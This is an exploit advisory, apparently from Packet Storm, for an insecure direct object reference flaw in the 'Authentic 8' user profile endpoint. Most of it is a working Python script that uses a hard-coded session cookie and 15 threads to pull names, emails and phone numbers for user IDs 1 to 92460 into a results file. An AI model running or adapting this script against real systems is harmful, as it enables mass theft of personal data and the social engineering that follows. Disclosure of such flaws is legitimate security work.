Lucene search
K

📄 Authentic 8 User Profile Insecure Direct Object Reference

🗓️ 10 Apr 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 79 Views

Critical vulnerability in the user profile endpoint lets authenticated users access profiles and data.

Code
==================================================================================================================================
    | # Title     : Authentic 8 Mass User Data Exposure via IDOR and Missing Access Control in User Profile Endpoint                 |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://pesaflow.com/                                                                                            |
    ==================================================================================================================================
    
    [+] Summary    : The assessment revealed a critical security vulnerability in the user profile endpoint of an online services platform. 
                     This vulnerability allows an application to compromise sensitive personal information by accessing serialized user profile identifiers without validating access permissions.
                     The endpoint returns user attributes, such as full names, email addresses, and phone numbers, which can be retrieved in large quantities due to the lack of access rate limits and effective access controls. 
    				 This allows an authenticated user to browse large portions of the user database.
                     This vulnerability represents a combination of insecure direct object access (IDOR) and inadequate access controls, resulting in the unauthorized exposure of vast amounts of data. 
    				 Exploiting this vulnerability could lead to widespread privacy breaches, user profile identification, and potential social engineering attacks.
    
    [+] POC   :  
    
    import requests
    import re
    import concurrent.futures
    
    MY_COOKIE = "_single_signon_key=feX/ygNzIB73dmAxWodOZ22U446F5pf1B1v+NPUPlj4uAE8T1FbZmlXrH1UxDNO/DZeHERGSyP/HJFAczYwioR9zSNijJRe+W01PYTU+RNK4Wmo3Y6PnKa6xpKdvGxvW"
    RESULT_FILE = "rzlt.txt"
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/122.0.0.0",
        "Cookie": MY_COOKIE,
        "Accept": "text/html,application/xhtml+xml,xml;q=0.9"
    }
    
    def pwn_single_id(target_id):
        url = f"https://127.0.01.gov.ss/user-profile/{target_id}"
        try:
            res = requests.get(url, headers=headers, timeout=15)
            
            if res.status_code == 200:
                html = res.text
    
                name_match = re.search(r'class="font-semibold text-slate-600.*?>(.*?)<', html)
                name = name_match.group(1).strip() if name_match else "N/A"
                email_match = re.search(r'id="email-form_current_email".*?value="(.*?)"', html)
                email = email_match.group(1).strip() if email_match else "N/A"
    
                phone_patterns = [
                    r'id="mobile_number".*?value="(.*?)"',
                    r'id="phone".*?value="(.*?)"',
                    r'name="mobile".*?value="(.*?)"',
                    r'value="(\+\d{7,15})"'
                ]
                
                phone = "N/A"
                for pattern in phone_patterns:
                    match = re.search(pattern, html)
                    if match and match.group(1).strip():
                        phone = match.group(1).strip()
                        break
    
                if email != "N/A" or phone != "N/A":
                    data_line = f"ID: {target_id} | Name: {name} | Email: {email} | Phone: {phone}\n"
                    with open(RESULT_FILE, "a", encoding="utf-8") as f:
                        f.write(data_line)
                    print(f"[+] Captured {target_id}: {email} | {phone}")
                return True
            return False
        except Exception:
            return False
    
    def start_mass_extraction(start_id, end_id, workers=15):
        print(f"[*] Starting Mass Extraction ({start_id} -> {end_id})")
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:
            executor.map(pwn_single_id, range(start_id, end_id + 1))
    
    if __name__ == "__main__":
        start_mass_extraction(1, 92460, workers=15)
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation